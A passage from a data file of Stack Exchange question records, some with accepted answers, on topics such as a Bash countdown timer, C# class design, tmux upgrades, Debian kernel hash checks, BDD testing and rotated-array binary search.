runs.While we're on the question of waiting. How do I find good timings for programs? I mean, let's assume my program needs to check something regularily. Like, a file on the computer. How do I find a good timing for it? Every .5 second would feel pretty responsive. Yet, am I clogging my CPU with unnecessary checks? Is there some rule of thumb, like check 10 times more often for things on your RAM instead of things on your HD?Like I said, those programs won't very much suffer from such things, but I wonder right now if I build on a wrong premise when trying to learn to code without considering writing effective code and are there any materials that you can point me to that answers these sorts of questions and hopefully a lot more questions I haven't thought of yet? "  , "title": "Egg timer in Bash"  , "tags": "performance;beginner;bash;timer"  , "accepted_answer": "Your main questionsIs it a good idea to keep the additional variable timer in there? It helps readability, but wouldn't that hold another variable in my RAM? Shouldn't I better forget about readability and directly calculate it in the echo command. Same goes with the variables set for min, sec and message. Those variables are basically doubled for readability alone. I could directly use them in the script.Readability is extremely important. Write programs for people, not for computers. The computer has no problem reading a program that's written ugly. But it's not the computer that might have to search for bugs or implement the next feature, that's going to be a human. Code is read far more than it's written.As far as RAM goes, the cost of an additional variable is negligible,you can safely ignore it.Using sleep to count down time. As far as I know, things like sleep, wait and pause can be off when the CPU is under heavy usage. Something probably to consider for scripts on my old raspberry, that only has one core. Shouldn't I first calculate the time of the alarm and then use my system time to calculate the time left? Should it do that in every iteration of the loop, that has to comes at least every second or should I only do it every minute or hour?Yes, it will be more accurate to calculate the target end time, and in every iteration recalculate the remaining time to display. It's up to you how you pace the loop. Every second seems fine, with a sleep 1 like it is now.If I check it with system time, should I rather put the checks in interlapping loops than add an if check? Feels like an interlapping loop would take less processing power than use if checks every time it runs.I don't really get what an interlapping loop is, but in any case, you only need one loop, something like this: (see at the bottom a complete implementation)target_time=...while :; do    current_time=$(date +%s)    ((current_time >= target_time)) && break    print_remaining_time current_time target_timedoneWhile we're on the question of waiting. How do I find good timings for programs? I mean, let's assume my program needs to check something regularily. Like, a file on the computer. How do I find a good timing for it? Every .5 second would feel pretty responsive. Yet, am I clogging my CPU with unnecessary checks? Is there some rule of thumb, like check 10 times more often for things on your RAM instead of things on your HD?That's a bit too broad to answer. It can depend on your hardware and specific circumstances and requirements. And looping is not always the right thing to do. In the example you gave, waiting for a file, it's better to look for a way to listen on filesystem events, rather than a loop with a sleep.Code reviewBash arithmetics can help you simplify a lot. For example, instead of this:timer=$(($min * 60 + $sec))You can write like this:((timer = min * 60 + sec))That is, you can drop all the $ and use comfortable spacing around operators.You did not indent the body of your for loop.This is not easy to read. It would be better this way:for i in $(seq 0 $timer)do     remain=$(( $timer - $i ))    echo -ne   $(($remain / 60)):$(($remain % 60))  \\r    sleep 1doneseq is not standard, and therefore not recommended.And you can easily achieve the same thing using for:for ((i = 0; i < timer; ++i)); doYou did not validate your input.If the script is called without parameters, the behavior will be odd.It would be more friendly to display a help message to tell the user that something's wrong.Suggested implementationApplying some of the above suggestions (also borrowing a bit from the answer of @200_success, a cleaner, safer, more readable implementation:#!/bin/bashif test $# -lt 3; then    echo usage: $0 minutes seconds message    exit 1fimin=$1sec=$2message=$3((target_time = $(date +%s) + min * 60 + sec))while :; do    ((current_time = $(date +%s)))    ((current_time >= target_time)) && break    ((remain_sec_total = target_time - current_time))    ((remain_min = remain_sec_total / 60))    ((remain_sec = remain_sec_total % 60))    printf '%4d:%02d  \\r' $remain_min $remain_sec    sleep 1doneprintf '%-7s\\n' $message"  } 
{  "id": "_softwareengineering.318567"  , "question": "I have three classes: User, Conversation and Message:Message properties:User sender;// Some moreConversation properties:List<Message> messages;List<User> participants;// Some moreI want to show in the program the creator of the conversation.  I wonder if It is bad programming to add a creator property to the Conversation class, so I could access it easily and the code would become more readable.:List<Message> messages;List<User> participants;User creator{    get    {        return participants[0];    }}// Use of the property:conversationObj.creator;// Instead Of:conversation.participants[0];Is it considered data duplication because I could get it directly from the participants property? Or data duplication is wrong only when designing a database?Thanks."  , "title": "Is data duplication bad in programming (in contrast to database designing)?"  , "tags": "c#;object oriented"  , "accepted_answer": "It isn't duplication of data in the sense of denormalization; all it is, is an extra accessor method.  Duplication of data in the sense of denormalization or caching (another way to describe denormalization) would involve an instance field that captures participant[0].  This particular implementation, having an explicit getter and no setter, is not provided with a backing field (automatic by the language or manual by you); the getter code is executed each time.  Therefore it is not duplication of data.I would equate arguments for denormalization in the database to caching in code: it is commonly done for performance, but as @Jrg says, makes the system more error prone now and also for future maintenance.  Further, caching / denormalization have storage costs and computational costs as well.  So, like all optimization, caching / denormalization should be applied when we have measureable tests that demonstrate good understanding of the problem and that the solution results in improvement."  } 
{  "id": "_unix.323666"  , "question": "We have 300+ AIX servers.We have created local id for a user on all those servers.Now the user has to log in manually in all servers to check his whether credentials are working.So is there a way/script to identify whether user is able to login with the given user ID and password.I tried google but did not get anything.Could please help with this requirement."  , "title": "Identify whether user is able to login with the given user ID and password"  , "tags": "shell script;login;aix"  } 
{  "id": "_webapps.81174"  , "question": "Is there any way to enlarge the label area in Google Spreadsheets?E.g. see red rectangle:I would like to increase the label area so that the label text don't get cropped."  , "title": "Enlarge label area in Google Spreadsheets"  , "tags": "google spreadsheets;google spreadsheet charts"  } 
{  "id": "_codereview.79041"  , "question": "We have a system with a non standard database solution. All trips to the DB are rather expensive. We cannot use entity framework.Currently our lazy loading is on an entity by entity basis. So if I have a Customer and access their Orders object it only loads the Orders for that customer. Something like so//DALpublic List<Entities.Customer> GetCustomersByIds(IEnumerable<int> ids){    var customers = db.GetCustomersByIds(ids);    foreach(var customer in customers)    {        customer.Orders = new ResetLazy<List<Entities.Order>>(() =>             db.GetOrdersByCustomerId(c.Id));    }    return customers;}ResetLazy taken from here https://stackoverflow.com/a/6255398/102526Ideally if we had a collection of Customers and accessed an Orders collection on one of the customers it would load all the Orders for all the Customers. (If not in a collection it would just load it's own orders)//DALpublic List<Entities.Customer> GetCustomersByIds(IEnumerable<int> ids){    var customers = db.GetCustomersByIds(ids);    foreach(var customer in customers)    {        customer.Orders = new ResetLazy<List<Entities.Order>>(() =>             GetOrdersByCustomersLazy(customers, customer.Id));    }    return customers;}protected List<Entities.Order> GetOrdersByCustomersLazy(    List<Entities.Customer> customers,     int customerId){    var orders = db.GetOrdersByCustomerIds(        customers.Select(customer => customer.Id).AsEnumerable());    foreach(var customer in customers)    {        customer.Orders = new ResetLazy<List<Entities.Order>>(() => {            customer.Orders = new ResetLazy<List<Entities.Order>>(() =>                 GetOrdersByCustomersLazy(customers, customer.Id));            return orders.Where(order => order.CustomerId == customer.Id).ToList();        });    }    return customers.FirstOrDefault(customer => customer.Id == customerId).Orders.Value;}This seems to work well, but it is too complex and not generic."  , "title": "Lazy Load for multiple entities at a time"  , "tags": "c#;database;lazy"  } 
{  "id": "_webmaster.105094"  , "question": "If I am connected to a server, is it ok to just shut down filezilla? Does filezilla make a disconnect in a proper way?"  , "title": "Closing ftp-connection in filezilla"  , "tags": "ftp"  } 
{  "id": "_unix.362092"  , "question": "I have a first gen Intel i5-760 with a default clock speed of 2.8GHz but I can set it to 3.3 in the bios and it runs fine with low temps. I have an Asus P7P55D-E LX motherboard.But if I set the Intel SpeedStep to enabled in the bios then I cannot get my CPU to go above 2.8 where if SpeedStep is disabled then it is locked at 3.3 or whatever I overclocked it to. I cannot change the frequency in the OS with the governor when overclocking.SpeedStep works normally when not overclocked with govenor profiles: conservative, ondemand, performance, powersave and schedutil from 1.2 to 2.8GHz.This is a problem because I do not want to run my cpu at overclocked speeds all the time as I assume this will likely wear it out or is generally not good for the life of the electronics, but I do not want to have to reboot everytime I need some extra processing power.I have tried everything in this post: Can't use userspace cpufreq governor and set cpu frequency to try and force a greater frequency than 2.8 with SpeedStep enabled or not but with no luck.I have done the following as stated in the post linked above:     disable the current driver: add intel_pstate=disable to your kernel boot line    boot, then load the userspace module: modprobe cpufreq_userspace    set the governor: cpupower frequency-set --governor userspace    set the frequency: cpupower --cpu all frequency-set --freq 800MHzAlso, setting /sys/module/processor/parameters/ignore_ppc to either 1 or 0 makes no difference.Does anyone know a fix for this?EDIT :A solution to Set Clock Frequency on a Frequency Scaling Disabled Kernel would solve my problem but it's over two months old and second in the list under the tag cpu-frequency.I guess the other question to ask is: will running my cpu at an overclocked frequency permanently, even when idle for hours have a downside, provided temps are low? Will this wear out my processor? Other than saving the planet by reducing power, does disabling SpeedStep have any drawbacks? "  , "title": "Intel SpeedStep does not honour max CPU frequency"  , "tags": "cpu frequency"  } 
{  "id": "_unix.122238"  , "question": "I'm trying to upgrade to a newer version (that has a bug fix) than my current 1.6. I am on Ubuntu and recently upgraded to Ubuntu 13.04.Ideally I want to use tmux version 1.8 or even 1.9. I've downloaded newer versions but can't get them working.I downloaded 1.9a but when I try and run it, it just hangs.I tried this download: http://sourceforge.net/p/tmux/tmux-code/ci/master/tree/README#l26and did the$ sh autogen.sh$ ./configure && makebut I get $ ./tmux$ protocol version mismatch (client 8, server 6)I tried to download and use a 1.8.4 version but the download didn't seem to have files I could use."  , "title": "protocol version mismatch (client 8, server 6) when trying to upgrade"  , "tags": "tmux"  , "accepted_answer": "This basically tells you, that you already have an (old) tmux-server running and the new tmux can't connect to it because they don't understand each other anymore.  Exit all your existing tmux sessions and start a fresh one using the new version and everything should be fine."  } 
{  "id": "_softwareengineering.254903"  , "question": "My program's aim is to determine the correct time zone offset (GMT+k) as a series of numbers are fed to it. eg:-4+111-4-4So, here -4 (the mode of the series) is the correct value.  But this requires storing the series then analyzing it and I do not have enough storage (RAM and FLASH) for this.  The running average can be calculated easily by storing the list size and the sum.  Is there a similar case for finding the mode?"  , "title": "Is there a clever way to calculate a mode of an online series without storing the series?"  , "tags": "algorithms"  } 
{  "id": "_scicomp.11580"  , "question": "[ question reposted from https://math.stackexchange.com/questions/786612/solving-a-linearly-constrained-sparse-linear-least-squares-problem ]Given the system of equations$Ax=b$, subject to $Cx\\le d$where $A$ is an $n\\times m$ matrix (with $n>m$) and is very large and sparse. As an example $A$ can have $3126250\\times 2740$ elements. Each row of $A$ has only 4 or 5 non-zero numbers which can only be 1 or -1.I am on Matlab and I've been using LSQR but I need the inequality constraints to impose monotonicity on $x$. Can you please advise on any solvers to do this with linear constraints? Is there any implementation on Matlab or C for this?"  , "title": "solving a linearly-constrained sparse linear least-squares problem"  , "tags": "optimization;least squares;constraints;linear system"  , "accepted_answer": "If you have access to the MATLAB optimization toolbox then this can easily be done using the quadprog() function.  You'd start by writing the objective in quadratic form as $ \\| Ax - b \\|_{2}^{2} = x^{T}(A^{T}A)x-2(A^{T}b)^{T}x+b^{T}b$then multiply to get $P=A^{T}A$ and $q=-2A^{T}b$.  Then your objective is $f(x)=x^{T}Px+q^{T}x+b^{T}b$and ready to feed into quadprog().  The $P$ matrix is only 2740 by 2740, so this isn't a very large problem from the point of view of quadprog(). I'm sure there are some free qp solvers for MATLAB if you don't have a copy of the optimization toolbox. Also note that you may want to reformulate the problem in terms of variables $z_{i}$, where $x_{1}=z_{1}$$x_{2}=z_{1}+z_{2}$$\\ldots$Then you can replace your inequality constraints $Cx \\leq d$ with $z \\geq 0$.  "  } 
{  "id": "_softwareengineering.181772"  , "question": "I am trying to find best way to validate a mobile number with in a country.Currently my understanding is: User can enter whatever format they want in mobile numbers and its a waste of time and energy to validate it against a set of regular expressions.My application is not a critical one like banking application and if the user is entering an invalid mobile number, it is at his own risk to get updates (like activate account/ do something with the application)So I think the best way is to check for mobile number length and whether all are digits.I want to know the best way forward and is there any good resource (non-scattered) to get all mobile number length validations based on a country code?"  , "title": "Mobile number validation"  , "tags": "mobile;validation;logic"  } 
{  "id": "_unix.248750"  , "question": "I have been trying to install Fedora 23 on a second drive inside my computer. The other system drive boots Windows 7.I used Fedora in the past (in a similar set up) and never had any issue installing it. This time though, nothing seems to be working, and since I'm a Linux noob, I can't find a solution.The error message I get as soon as I reach the installation window is as follows: There is a problem with your existing storage configuration: failed to scan disk sda.Also, For some reason, we were unable to locate a disklabel on a disk that the kernel is reporting partitions on. It is unclear what the exact problem is.The drive I've reserved for Fedora is a 300 gig GPT drive. It currently is not allocated.I tried to install the OS with an install DVD and an install USB key. I formatted the drive to NTFS and then left it in its current not allocated state.The Fedora error message suggests the following solution: There is a shell available for use which you can access by pressing ctrl-alt-F1 and then ctrl-b 2.I've done that to reach what I believe is the Anaconda shell. I then played around with basic fdisk commands (list disks mainly), but not being keen on coding I didn't pursue it too far.Any help would be very much appreciated, thanks."  , "title": "Fedora 23 install woes (storage configuration + scanning disk sda failure)"  , "tags": "linux;fedora;system installation"  } 
{  "id": "_unix.287752"  , "question": "$ uname -aLinux mypcname 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) i686 GNU/LinuxI want to check that this ^^ Linux kernel on my PC has not been maliciously tampered with. I have no reason to suspect that it has been, but I would like to check anyway. My thinking is that comparing my kernel software with the same version that has been made publicly available by the original developers of the software should constitute a good enough check for my purposes. If you see any glaring errors in this way of thinking then please let me know. I know other malicious programs besides the kernel can run on a computer, but for the purposes of this question I am just interested in the kernel.Please note that the checks need not be done by the kernel as it runs. There is nothing preventing me from turning off my PC and booting another kernel or OS, or even taking out the hard drive and plugging it into another PC to run the checks on. But really I just want to do a quick check, so I will probably just do all checks using the existing kernel. Perfect? No. Good enough for my purposes? Certainly.I get the hashes of the kernel like so:$ apt-cache show linux-image-3.16.0-4-686-paePackage: linux-image-3.16.0-4-686-paeSource: linuxVersion: 3.16.7-ckt25-2Installed-Size: 118358Maintainer: Debian Kernel Team <debian-kernel@lists.debian.org>Architecture: i386Provides: linux-modules-3.16.0-4-686-paeDepends: kmod | module-init-tools, linux-base (>= 3~), debconf (>= 0.5) | debconf-2.0, initramfs-tools (>= 0.110~) | linux-initramfs-toolPre-Depends: debconf | debconf-2.0Recommends: firmware-linux-free (>= 3~), irqbalance, libc6-i686Suggests: linux-doc-3.16, debian-kernel-handbook, grub-pc | extlinuxBreaks: at (<< 3.1.12-1+squeeze1), initramfs-tools (<< 0.110~)Description-en: Linux 3.16 for modern PCs The Linux kernel 3.16 and modules for use on PCs with one or more processors supporting PAE. . This kernel requires PAE (Physical Address Extension). This feature is supported by the Intel Pentium Pro/II/III/4/4M/D, Xeon, Core and Atom; AMD Geode NX, Athlon (K7), Duron, Opteron, Sempron, Turion or Phenom; Transmeta Efficeon; VIA C7; and some other processors. . This kernel also runs on a Xen hypervisor.  It supports both privileged (dom0) and unprivileged (domU) operation.Description-md5: b2c3f405aab9f0fe07863b318891f277Homepage: https://www.kernel.org/Section: kernelPriority: optionalFilename: pool/main/l/linux/linux-image-3.16.0-4-686-pae_3.16.7-ckt25-2_i386.debSize: 33408936MD5sum: ce730b36742b837e3990889f2d897b60SHA1: 6f0816a4f4a2a24e7b74e9fa903dde778d825e63SHA256: 63a59e3a09afa720ce1c9b71bb33176e943e59aa90a9e3d92100b1d3b98cd1c6So I have a few questions:Are these the hashes for the pool/main/l/linux/linux-image-3.16.0-4-686-pae_3.16.7-ckt25-2_i386.deb file?Where can I find these hashes online to see if mine are correct?Assuming the answer to (1) is 'yes', then how can I check that the kernel that is actually running on my pc is the same as would be installed by this .deb file?I have faced opposition to this question in the comments...I didn't post this question looking for a debate. The checks I ask for in this question are not intended to be a panacea (there is no such thing when it comes to computer security). If you have a problem with this question then please consider that the developers of the Linux kernel itself sign their software with PGP keys and have suggested:All kernel releases are cryptographically signed using  OpenPGP-compliant signatures. Everyone is strongly encouraged to  verify the integrity of downloaded kernel releases by verifying the  corresponding signatures.(source: https://www.kernel.org/signature.html)I understand that PGP signatures perform a different function to hashing a file to check for modifications, but there are similarities from a security standpoint - especially when it comes to trusting the data output by a compromised system. Hopefully this analogy will prevent readers of this question from dismissing it offhand as this mainly seems to have been the case so far."  , "title": "check if the Linux kernel my PC runs has been maliciously modified"  , "tags": "debian;apt;linux kernel;hashsum"  } 
{  "id": "_softwareengineering.245696"  , "question": "I have a problem visualising how the gap is closed between coarse-grained, n-tier boundary, high level, automated acceptance testing and lower level, task/sub-task scope Unit Testing.My motivation is to be able to take any unit test in my system and be able to follow backwards, through coverage, which scenario(s) make use of that unit test.I am familiar with the ideas of BDD: An extension of TDD and writing scenarios at the high level solution design level in the Gerkin format, and driving these scenarios using tools such as JBehave and Cucumber.Equally, I am familiar with the humble unit test at the utility or task level, and using xUnit to test through the various paths of the function.Where I begin to come unstuck, then, is when I try to imagine these two disciplines applied together in an enterprise setting.Perhaps I am going wrong because you tend to use one approach or the other?In an attempt to articulate my thoughts so far, let's assert that I am right to believe that both are used.In an agile world, user stories are broken down into tasks and sub-tasks, and in an enterprise setting, where the problems are large and the number of developers per story are many, those tasks and sub-tasks are distributed amongst a team of people with specialist problem solving skills.Some developers, for example, may specialise in mid-tier Development, develop a controller layer and continue to work downwards. Others may specialise in UI development and work from a controller layer upwards.Developers may therefore share implementation of a single string of tasks which, when glued back together again, will implement the story.In this case, it seems to me that cycles of TDD at the task and sub-task level is still necessary, to ensure that the efforts of these developers collaborate correctly within one layer and from one layer to the next (mocking collaborators).Working in this way implies a certain amount of high level solution design up-front, so contracts between layers are agreed and respected. Perhaps this is articulated as a sequence diagram and perhaps this emerges during the task breakdown session for the story.Yet, on the other hand, we have the value of defining the BDD acceptance tests at a higher level to configure that all of the blocks work together as expected - a form of super Integration Test, I suppose.I suppose the answer I am looking for here, aside of the simpler yes/no to the question of both, is an explanation/worked example of how I and a team of developers start out with a single n-tier scenario and end up with an implementation in an enterprise setting, where we've been able to break the tasks up into layers and share them amongst ourselves and work in parallel to turn the BDD scenario test from red to green, all the while ensuring that the the code we write is only written because the scenario calls for it, and at a fine grained level the code we have written is appropriately unit tested following cycles of TDD at the task and sub-task level as we go.If, of course that is correct?"  , "title": "In an enterprise setting, does one apply BDD principles alongside of, or instead of, traditional unit testing?"  , "tags": "agile;unit testing;bdd"  , "accepted_answer": "I think that there is a common misconception as to what BDD means, that BDD means that we are now writing our tests using tools like Cucumber, SpecFlow, etc instead of traditional unit tests. That is not the case. BDD is more a way of thinking that moves our focus in the tests from the technical aspects to the more business oriented aspects. Also see this P.SE answer: https://softwareengineering.stackexchange.com/a/135246A few tools were born out of the BDD world, e.g. Cucumber and RSpec. Cucumber is not intended as a testing tool - it is intended as a collaboration tool. It allows programmers to collaborate with the business in order to write business specifications. But you shouldn't use Cucumber because you are in an enterprise setting. You should use Cucumber because you can get customer involved in the software development process. If you do not have the customer strongly involved, you should think twice before using a tool like Cucumber.Also read this blog post from Aslak Hellesy (creator of Cucumber): https://cucumber.pro/blog/2014/03/03/the-worlds-most-misunderstood-collaboration-tool.htmlRSpec on the other hand is a unit test tool. But with a strong focus on describing the requirements for your code, e.g. by using strings as your test case names, instead of function names. For exampledescribe Login application service do  context user has given 3 incorrect passwords already do    it rejects the user when a correct password attempt is made do            ...    end  endendThis is a test for a specific component in the system, but the focus of the tests are the business requirements that that particular component helps fulfill.If you use these two types of tool together, you get a process like this:Just picked from a random image search for BDD Cycle. You can exchange SpecFlow with Cucumber, JBehave, TickSpec, or whatever. And you can replace MSpec with RSpec, or even traditional xUnit type frameworks.If you are under operating in a regulated industry, e.g. medical, or finance, you get the benefit that your software is both validated and verified if you use both.Collaboration tools helps to make sure that your software fulfill business requirements, because the business collaborated in writing them*. Therefore your software has been validated.Unit test make sure that each component works correctly, Therefore your software has been verified.So in your case I would suggest: Continue to write unit tests. Strive to focus on business requirements rather that implementation details. If, and only if, you can get the customer involved, write acceptance tests in a cucumber style.* This requires that the specification actually describes business process, and not user interfaces, a mistake that many people new to cucumber makes. Also see this site for more: http://www.elabs.se/blog/15-you-re-cuking-it-wrong"  } 
{  "id": "_codereview.29090"  , "question": "I was making an algorithm for a task I found in a book. It says that there is sorted array, that was swapped so it looks like 4567123, and was proposed to use binary search modification.Below is my solution in java.The thing is, I'm a bit cringed that I can't process cases for array size of 2, 3 generically (for case of size 1 it's obvious that it'll require a specific case). Not that I need a solution that'll do that generically for 2, 3 array size cases. But I more like to know, is it a problem. Also I addressed a problem when array wasn't swaped at all. And I'm not sure that I should've done this, if preconditions are clearly specified. Btw binary search doesn't check that it's input is sorted. So, more what I need is not code review itself, but more of advise, is my hardcoded cases and support for nonswaped array is good or bad. I myself believe that cases are fine, as algorithm compares 2 values, and thus requires at least 2 values to be compared, also it searches for the peak and drop. But I'll probably try to modify it so it won't cover non-swaped array case and generically work for 2, 3 size array.//file SwapedArraySearch.java\\public class SwapedArraySearch {    public static int search(int[] arr) {        switch (arr.length){            case 1:                return arr[0];            case 2:                return arr[0] > arr[1]?arr[1]:arr[0];            case 3:                return arr[0] > arr [1] ? (arr[1] > arr[2]?arr[2]: arr[1]):                                            (arr[0] > arr[2]?arr[2]: arr[0]);        }        int x = arr[0];        int n = arr.length/2;        int prevn = arr[n] > x ? arr.length -1 : 1;         int t;        while(prevn != n) {            if (x < arr[n]) {               if (arr[n] > arr [n + 1] )                   return arr[n+1];                t = n;                n = n + (prevn - n)/2;                prevn = t;            } else {                if (arr[n - 1] > arr[n])                    return arr[n];                t = n;                n = prevn + (n - prevn)/2;                prevn = t;            }        }        return arr[0] > arr[1] ? arr[arr.length - 1] : arr[0];    }    public static void main(String... args) {        int[] arr = new int[args.length];        for (int i = 0; i < args.length; i++)            arr[i] = Integer.valueOf(args[i]);        System.out.println(search(arr));                }}EDIT: the task is to find the lowest elementEDIT2: after much more thinking I boiled down my search function to this:x = arr[arr.length - 1]a = 0b = arr.lengthwhile b - a > 2 if x > arr[(a+b)/2]  b = (a+b)/2 else   a = (a+b)/2return arr[(a+b)/2]the key point to simplification was to understand that middle element can always be calculated as (a+b)/2. "  , "title": "Binary search modification for swaped array"  , "tags": "java;algorithm"  , "accepted_answer": "General AdviseYour methods are difficult to read because you chose to use predominantly single character variable names. Multi-character descriptive variable names are much easier to associate with a value, making the code magnitudes easier to read & maintain. Also, when implementing a binary search it is typical to use hi, lo & mid as variable names.Whenever you nest a ternary statements, this should be an immediate red flag, that you are not writing clear & maintainable code. As soon as you write a nested ternary statement I would advise you to pause, and consider what functionality you are trying to achieve and consider different ways to express that functionality. I'm not going to say that nested ternary statements are always a sign that your doing something wrong, but nested ternary statements is always a sign you should stop and think about what your doing.Algorithmic AdviseI am assuming the algorithm is locating the largest element in a semi-sorted array that has two (and only two) distinctly sorted sequences with a pivot index contains largest value in the array.The three conditions in your switch case are, generally doing the same thing. Each case is returning the largest element in a the array, but can't use the loop because the array is too small. We can cover these conditions in the final return.You should also check for general error cases such as null or the empty set (new int[0]) being passed into the function.Since the logic for checking if the current value of the binary search is the pivot index contains a lot of logic to do correctly, I would create a method isPivotIndex().Putting all that together, your solution could look something like this.Java Code: (ideone example link)int findLargestValueInSemiSortedArray(int arr[]) {  if(arr==null || arr.length==0)    throw new IllegalArgumentException();  int hi  = arr.length; /* exclusive upper bound */  int low = 0;          /* inclusive lower bound */  int mid;  while(low < hi) {    mid  = low/2 + hi/2;    if(isPivotIndex(arr,mid))      return arr[mid];    if(arr[hi-1] < arr[mid])      low = mid + 1;    else      hi  = mid;  }  /* Array was actually sorted, either ascending or descending    */  /* Note that return this covers corner cases of arr.length <= 3 */  return max(arr[0], arr[arr.length-1]); }int max(final int a, final int b) {  return (a > b) ? a : b;}boolean isPivotIndex(final int[] arr, final int index) {  int b = arr[index];  int a = (index > 0) ?            arr[index-1] : Integer.MAX_VALUE;  int c = (index < arr.length-1) ? arr[index+1] : Integer.MAX_VALUE;  return a <= b && b > c;}The above is much more readable, has fewer lines of code, and is easier to check for correctness. It immediately throws an exception on invalid input. It uses isPivotIndex() method to isolate complex logic & maintain a single level of abstraction.It uses a clever final return to handle corner cases.Let's consider how the final return covers the corner cases in your original switch statement.Case 1: (arr.length == 1)max(arr[0],arr[arr.length-1]) will compare the same values and return arr[0].Case 2: (arr.length == 2)max(arr[0],arr[arr.length-1]) will evaluate exactly the same as your ternary statement.Case 3: (arr.length == 3)max(arr[0],arr[arr.length-1]) will return the larger of arr[0] and arr[2]. If arr[1] happened to be the max value it would have been the pivot index in the binary search loop and the method would have already returned."  } 
{  "id": "_unix.14378"  , "question": "What criteria distinguishes variousdistributions of Linux, such as Debian, Ubuntu, Fedora, OpenSUSE? Inother words, given a release of aLinux OS, what features mean it is classified intoone distribution not the other?I heard that different distributionsare grouped differently, for example,Debian-based,  Gentoo-based,RPM-based, Slackware-based? I waswondering what criteria are usedfor the grouping?Within a distribution, whatdistinguishes different releases?For example, within Ubuntu, Ubuntu10.04 and 10.10.As far as the concepts of releaseand distribution are concerned, isWindows 7 more of a counterpart ofUbuntu distribution or of Ubuntu 10.10? Is Windows NT family more of a counterpart of Ubuntu or of Debian-based Linux OSes?Thanks and regards!"  , "title": "Classification of Linux distributions"  , "tags": "linux;distros"  , "accepted_answer": "From the Linux distributions Wikipedia entry:A Linux distribution is a member of the family of Unix-like operating systems built on top of the Linux kernel. Such distributions (often called distros for short) are Operating systems including a large collection of software applications such as word processors, spreadsheets, media players, and database applications.What distinguishes them is the hardware they supposrt, packaging, kernel patches, what set and versions of applications they ship, their documentation, install methods etc. Other classifications are whether they are more oriented towards end users or servers.Some of the distributions (Debian, Gentoo, Fedora and others) are used as a starting point for other distributions (Ubuntu is derived from Debian for instance). That means that the creators of for instance Sabayon Linux used a Gentoo distribution to start their development effort, and keep track of Gentoo's evolution to some extent.You can look at the Distrowatch search page for this kind of examples.RPM-based distributions is a different classification. RPM is a package management system, not a distribution. Some distributions use it (RedHat and Suse comes to mind) directly or via one of its frontends. Others use different systems (pacman for Arch, portage for Gentoo). The package management system is one of the important differences between distributions.Regarding versions, there are no strict criteria. The distribution developers/managers decide on what versions/patches/new software they want to include in a new version, polish it, and when it's ready, they ship it. There isn't a consistent versioning scheme across distributions.For your last question I'm not sure I understand, but you could say that Windows NT, 2000, XP, 2003/Vista, 2008 and Windows 7 are versions of the Windows distribution. And they are all in the Windows NT family of Windows releases.So if you want to draw a parallel with Linux distributions, yes, each windows release is closer to a version of a Linux distribution. And the Windows NT lineage is equivalent to the RedHat or Suse lineage for instance.(One of the similarities of these lineages is that there usually is a major revision of the kernel between Windows releases, and that's also the case for a lot of Linux distros.)"  } 
{  "id": "_softwareengineering.3317"  , "question": "What's the difference in this terminology? Is one considered more professional than the other?"  , "title": "What's the difference between a developer and a programmer?"  , "tags": "skills"  } 
{  "id": "_cs.43682"  , "question": "Is there an efficient algorithm to visit/enumerate all unique connected subgraphs of a labelled graph? E.g., when the graph is a path, $v_1v_2\\dots v_N$, there are $N(N-1)$ unique connected graphs: for any $1\\leq i<j\\leq N$, the subgraph $v_i\\dots v_j$. For graphs with denser edge structure, the number of unique connected subgraphs can be as high as $2^{|V|}$ (for cliques).Fortunately, graphs I'm interested in have a lot of articulation points, so the total number of unique connected subsets should be polynomial in the size of the input.For those who are interested, I'm modeling a problem in protein mass-spectrometry. Starting from a protein (chain of amino acids, with occasional long-distance bonds due to disulphide bonds), I'd like to generate a database of all possible sub-species that may result from breaks in peptide and/or disulphide bonds."  , "title": "Enumerating connected subgraphs"  , "tags": "algorithms;graphs;enumeration"  } 
{  "id": "_softwareengineering.299934"  , "question": "I'm using JavaScript but the question can be generalized to all the languages.In a nutshell - I'm checking if a browser connecting to my site is a microwave and cater for that accordingly.What would be the best way to structure my code?Best way is in most readable, most maintainable (insert your own metric here)...Option 1.0var iammicrowave = /(microwave)/.test(navigator.userAgent);if (iammicrowave) {    var settings = { blah : 42 };    magicFunction(settings);} else {    magicFunction();}Option 1.1var iammicrowave = /(microwave)/.test(navigator.userAgent);if (iammicrowave) {    magicFunction({ blah : 42 });} else {    magicFunction();}Option 2.0var iammicrowave = /(microwave)/.test(navigator.userAgent);var settings;if (iammicrowave) {    settings = { blah : 42 };}magicFunction(settings);Option 2.1var iammicrowave = /(microwave)/.test(navigator.userAgent);var settings = imamicrowave ? { blah : 42 } : undefined;magicFunction(settings);Option 2.1.1var iammicrowave = /(microwave)/.test(navigator.userAgent);var settings = imamicrowave ? { blah : 42 } : {};magicFunction(settings);Option 2.2var iammicrowave = /(microwave)/.test(navigator.userAgent);magicFunction(imamicrowave ? { blah : 42 } : {});Option 2.3magicFunction(/(microwave)/.test(navigator.userAgent) ? { blah : 42 } : {});Many thanks!"  , "title": "What is the most readable way of passing arguments to the function?"  , "tags": "javascript;coding style;code reviews;source code;clean code"  } 
{  "id": "_webmaster.21803"  , "question": "I am running some speedtests on a blog, and I always get complaints about unused CSS. But this is not CSS that I never use, it is just not used on that particular page.Now I work in a structured way, but there still has to be some CSS in the file that will not be used, because you need it on another page.I do not think that using different CSS files on different pages is the way to go, I think you are much better off just creating one big file that can be cached.Now is there an elegant way of dealing with this, or do you just stick with it."  , "title": "How to go about unused CSS issues"  , "tags": "css;optimization"  , "accepted_answer": "Your assertion that you are better off with one, bigger CSS file is correct. It will likely be only a few KB when gzipped, and should be cached, so not a huge overhead. There are a few things worth checking though.If some CSS is only ever used on one page, it may be better in that case to put the CSS on the page, in some style tags. (Note: this can make things difficult to maintain, especially when you later decide to use a similar style elsewhere.)If you take your most popular pages (for example the pages making up 50%+ of your page views) and find that only a very small amount of your CSS is being used on those pages, it may be faster for users to split it into two CSS files. Now, new users visiting your most popular pages have much less to download. On other pages there is one extra HTTP request but that's not a huge deal.Make sure your CSS is well-optimized. Avoid descendent selectors where possible. If the right hand side of a selector is too generic then it can slow down rendering time. For example .class div {} would be a little slow because the browser has to check every <div> element on the page, then look up the DOM tree to the very top to find (or not) an element with the class."  } 
